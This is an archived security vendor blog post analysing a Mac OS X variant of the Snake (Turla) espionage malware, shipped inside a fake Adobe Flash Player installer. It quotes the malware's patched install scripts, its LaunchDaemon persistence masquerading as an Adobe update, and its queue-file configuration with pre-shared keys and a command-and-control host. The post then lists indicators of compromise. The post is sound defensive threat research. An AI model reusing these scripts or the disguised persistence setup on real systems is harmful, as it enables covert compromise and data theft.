Snake: Coming soon in Mac OS X flavour

By maartenvandantzigfoxit

Published: 2017-05-03 · Archived: 2026-04-05 20:09:02 UTC

Summary

Snake, also known as Turla, Uroburos and Agent.BTZ, is a relatively complex malware framework used for targeted attacks[1].

Over the past year Fox-IT has been involved in multiple incident response cases where the Snake framework was used to steal sensitive information. Targets include government institutions, military and large corporates.

Researchers who have previously analyzed compromises where Snake was used have attributed the attacks to Russia[2]. Compared to other prolific attackers with alleged ties to Russia, such as APT28 (Fancy Bear) and APT29 (Cozy Bear), Snake's code is significantly more sophisticated, its infrastructure more complex and targets more carefully selected.

The framework has traditionally focused on the Windows operating system, but in 2014 the first Linux variant was observed[3].

Now, Fox-IT has identified a version of Snake targeting Mac OS X.
As this version contains debug functionalities and was signed on February 21st, 2017 it is likely that the OS X version of Snake is not yet operational.
Fox-IT expects that the attackers using Snake will soon use the Mac OS X variant on targets.

Functionality

For Windows versions the architecture of Snake typically consists of a kernel mode driver designed to hide the presence of several Snake components and to provide low-level access to network communication. Depending on the architecture of a targeted machine either kernel or user mode is used for network communication.

The OS X version of Snake is a port of the Windows version. References to explorer, Internet Explorer and Named Pipes are still present in the binary.

Install Adobe Flash Player.app

The Snake binary comes inside of a ZIP archive named `Adobe Flash Player.app.zip` which is a backdoored version of Adobe's Flash Player installer.

The `install.sh` script is patched with the following lines:

```
1  #!/bin/sh
2  SCRIPT_DIR=$(dirname &quot;$0&quot;)
3  TARGET_PATH=/Library/Scripts
4  TARGET_PATH2=/Library/LaunchDaemons
5  cp -f &quot;${SCRIPT_DIR}/queue&quot; &quot;${TARGET_PATH}/queue&quot;
6  cp -f &quot;${SCRIPT_DIR}/installdp&quot; &quot;${TARGET_PATH}/installdp&quot;
7  cp -f &quot;${SCRIPT_DIR}/installd.sh&quot; &quot;${TARGET_PATH}/installd.sh&quot;
8  cp -f &quot;${SCRIPT_DIR}/com.adobe.update&quot;
   &quot;$TARGET_PATH2/com.adobe.update.plist&quot;
9  &quot;${TARGET_PATH}/installd.sh&quot;
10 &quot;${SCRIPT_DIR}/Install Adobe Flash Player&quot;
11 exit $RC
```

The `installd.sh` that is invoked contains the following code:

```
1  #!/bin/bash
2  SCRIPT_DIR=$(dirname &quot;$0&quot;)
3  FILE=&quot;${SCRIPT_DIR}/queue#1&quot;
4  PIDS=`ps cax | grep installdp | grep -o &#039;^[ ]*[0-9]*&#039;`
5  if [ -z &quot;$PIDS&quot; ]; then
6  ${SCRIPT_DIR}/installdp ${FILE} n
7  fi
```

The shell script checks if `installdp` is already running, if not it will start with:

```
1  /Library/Scripts/installdp /Library/Scripts/queue#1 n
```

Persistence

The backdoor is persisted via Apple's LaunchDaemon service:

```
$ plutil -p /Library/LaunchDaemons/com.adobe.update.plist
{
&quot;ProgramArguments&quot; =&gt; [
0 =&gt; &quot;/Library/Scripts/installd.sh&quot;
]
&quot;KeepAlive&quot; =&gt; 1
&quot;Label&quot; =&gt; &quot;com.apple.update&quot;
&quot;OnDemand&quot; =&gt; 1
&quot;POSIXSpawnType&quot; =&gt; &quot;Interactive&quot;
}
```

Codesigning details

In order for an Application to be run on OS X it has to be signed with a valid certificate issued by Apple or it would be blocked by GateKeeper (unless configured otherwise). The following, likely stolen, developer certificate was used to sign the fake Adobe Flash installer which includes the Snake binary:

```
Executable=Install Adobe Flash Player.app/Install
Identifier=com.addy.InstallAdobeFlash
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=390 flags=0x0(none) hashes=12+3 location=embedded
Hash type=sha1 size=20
CandidateCDHash sha1=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Hash choices=sha1
CDHash=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Signature size=4231
Authority=Developer ID Application: Addy Symonds (EHWBRW848H)
```

```
11 Authority=Developer ID Certification Authority
12 Authority=Apple Root CA
13 Signed Time=21 Feb 2017 08:55:36
14 Info.plist entries=22
15 TeamIdentifier=EHWBRW848H
16 Sealed Resources version=2 rules=12 files=86
17 Internal requirements count=1 size=188
```

Fox-IT has informed Apple's security team with the request to revoke the certificate.

Debug build

Several strings found throughout the binary indicate that this version is in fact a debug build.

```
1 fwrite (&quot;Usage: snake_test e[vent]|n[ormal]\n&quot;, 0x30uLL, 1uLL, *__stderrp_ptr);
```

```
1 fprintf (v16, &quot;[%s:%s:%d] %s\n&quot;, &quot;../../../snake/snake_test.c&quot;, &quot;main&quot;, 86LL, err);
```

An interesting observation is the fact that the contents of a temporary file storing command output are converted using KOI8-R encoding, designed to cover the Russian language, which uses the Cyrillic alphabet.

```
1 ascii2uni(koi8_str, unicode_str, -1LL, &quot;KOI8-R&quot;);
```

This indicates that the developers tested with Russian command output (encoded using the KOI8-R codepage). On systems where the command output is displayed in another language (and another codepage), text would be incorrectly respresented in Cyrillic characters.

Queue file

Builds of Snake generally contain a Queue file. Queue files are used to store Snake's configuration data, module binaries and queued network packets.

```
1 $ python MM_snake_queuefile.py queue
```

```
OFFSET STREAM TYPE ID SIZE WRITTEN DATA
0x0000006c 00000001 0002 00000227 00000010 2017-02-10 12:23:22 &#039;\x98\xa7w{\xc7\xcc4\x03-\xdcz\x0b\xc9,`\x1c&#039;
0x000000bc 00000001 0002 00000228 00000010 2017-02-10 12:23:22 &#039;\x90*\xa6\xc5c\x89H\xe2&gt;\x9fS\x1f\xb2\x0b\xf8\xb7&#039;
0x0000010c 00000001 0002 00000229 00000010 2017-02-10 12:23:22 &#039;\x95\x9a\xdf\x82\xf8l\xbe.YR)\xcc\x1a{\xac\x8f&#039;
0x0000015c 00000001 0002 000000df 00000009 2017-02-10 12:23:22 &#039;300000\x00&#039;
0x000001a5 00000001 0002 000000e0 00000009 2017-02-10 12:23:22 &#039;600000\x00&#039;
0x000001ee 00000001 0002 00000190 00000009 2017-02-10 12:23:22 &#039;20000\x00&#039;
0x00000237 00000001 0002 000000e1 00000009 2017-02-10 12:23:22 &#039;4096\x00&#039;
0x00000280 00000001 0002 000000e2 00000009 2017-02-10 12:23:22 &#039;65536\x00&#039;
0x000002c9 00000001 0002 00000143 00000009 2017-02-10 12:23:22 &#039;4096\x00&#039;
0x00000312 00000001 0002 00000144 00000009 2017-02-10 12:23:22 &#039;65536\x00&#039;
0x0000035b 00000001 0002 00000001 00000009 2017-02-10 12:23:22 &#039;1000\x00&#039;
0x000003a4 ffffffd 0002 00000229 00000010 2017-02-10 12:23:22 &#039;\xfb\xb20\x87\xb9m\xa2\x80!\x80\xcc\x1aJbX&#039;
0x000003f4 00000001 0002 00000008 00000011 2017-02-10 12:23:22 &#039;0xfd4488e9\x00&#039;
0x00000445 00000001 0002 00000009 00000009 2017-02-10 12:23:22 &#039;0\x00&#039;
0x0000048e 00000001 0002 00000064 00000009 2017-02-10 12:23:22 &#039;2\x00&#039;
0x000004d7 00000001 0002 00000065 00000021 2017-02-10 12:23:22 &#039;enc.unix//tmp/.gdm-socket\x00&#039;
0x00000538 00000001 0002 00000066 00000031 2017-02-10 12:23:22 &#039;enc.frag.reliable.doms.unix//tmp/.gdm-selinux\x00&#039;
0x000005a9 00000001 0002 00000070 00000029 2017-02-10 12:23:22 &#039;read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4\x00&#039;
0x00000612 00000001 0002 00000071 00000019 2017-02-10 12:23:22 &#039;psk=R@gw1gBsRP!5!yj0\x00&#039;
0x0000066b 00000001 0002 000000c8 00000009 2017-02-10 12:23:23 &#039;1\x00&#039;
```

```
0x000006b4 00000001 0002 000000c9 00000029 2017-02-10 12:23:23 &#039;enc.http.tcp/car-service.effers.com:80\x00&#039;

0x0000071d 00000001 0002 000000d4 00000029 2017-02-10 12:23:23 &#039;psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00&#039;

0x00000786 00000001 0002 0000012c 00000009 2017-02-10 12:23:23 &#039;1\x00&#039;

0x000007cf 00000001 0002 0000012d 00000029 2017-02-10 12:23:23 &#039;enc.http.tcp/car-service.effers.com:80\x00&#039;

0x00000838 00000001 0002 00000138 00000029 2017-02-10 12:23:23 &#039;psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00&#039;
```

The following transport chains are configured in this queue file:

```
1 enc.unix//tmp/.gdm-socket read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4
2 enc.frag.reliable.doms.unix//tmp/.gdm-selinux psk=R@gw1gBsRP!5!yj0
3 enc.http.tcp/car-service.effers.com:80 psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0
```

Obfuscated strings

Snake binaries contain strings that can be obtained through snake_name_get() call. These strings are stored as a pair of 0x40 byte blobs that are XOR-ed against each other. In this binary the blobs only contain placeholders that are yet to be replaced by the actual values, which is another indication that this Snake binary is not yet ready to deploy to targets.

```
1 00187e20 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
2 00187e30 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
3 00187e40 35 34 43 41 37 51 55 45 55 45 5f 50 41 54 48 5f |54CA7QUEUE_PATH_|
4 00187e50 55 4e 49 58 00 00 00 00 00 00 00 00 00 00 00 00 |UNIX............|
5 00187e60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
6 *
7 00187ea0 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
8 00187eb0 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
```

```
9  00187ec0 35 34 43 41 37 4d 45 4a 49 52 4f 44 5f 50 41 54 |54CA7MEJIROD_PAT|
10 00187ed0 48 5f 44 41 52 57 49 4e 00 00 00 00 00 00 00 00 |H_DARWIN........|
11 00187ee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
```

Indicators of compromise

Files

```
1 /Library/LaunchDaemons/com.adobe.update.plist
2 /Library/Scripts/installd.sh
3 /Library/Scripts/queue
4 /var/tmp/.ur-*
5 /tmp/.gdm-socket
6 /tmp/.gdm-selinux
```

SHA256:

```
1 b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea Install Adobe Flash Player.app.zip
2 5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060 Install
3 0a77f1b59c829a83d91a12c871fbd30c5c9d04b455f497e0c231cd21104bfea9 install.sh
4 7848f7808af02ba0466f3a0687cf949c4d29a2d94b035481a3299ec519aaaa30 Install Adobe Flash Player
5 d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2 Installdp
6 b6df610aa5c1254c3af5b2ff806562c4937704e4ac248577cdcd3e7e7b3578a0 com.adobe.update
7 6e207a375782e3c9d86a3e426cfa38eddcf4898b3556abc75889f7e01cc49506 installd.sh
8 92721d719b8085748fb66366d202457f6d38bfa108a2ecda71eee7e68f43a387 queue
```

Network

The following domain is configured in Snake's queue file for HTTP network transport:

The resolving IP belongs to a Satellite communications provider:

Though Snake is typically spread using spear-phishing e-mails and watering hole attacks Fox-IT has not yet observed this sample being spread in the wild.

Jelle Vergeer, Krijn de Mik, Mitchel Sahertian, Maarten van Dantzig & Yun Zheng Hu
Fox-IT Threat Intelligence

References

Published May 3, 2017May 7, 2017
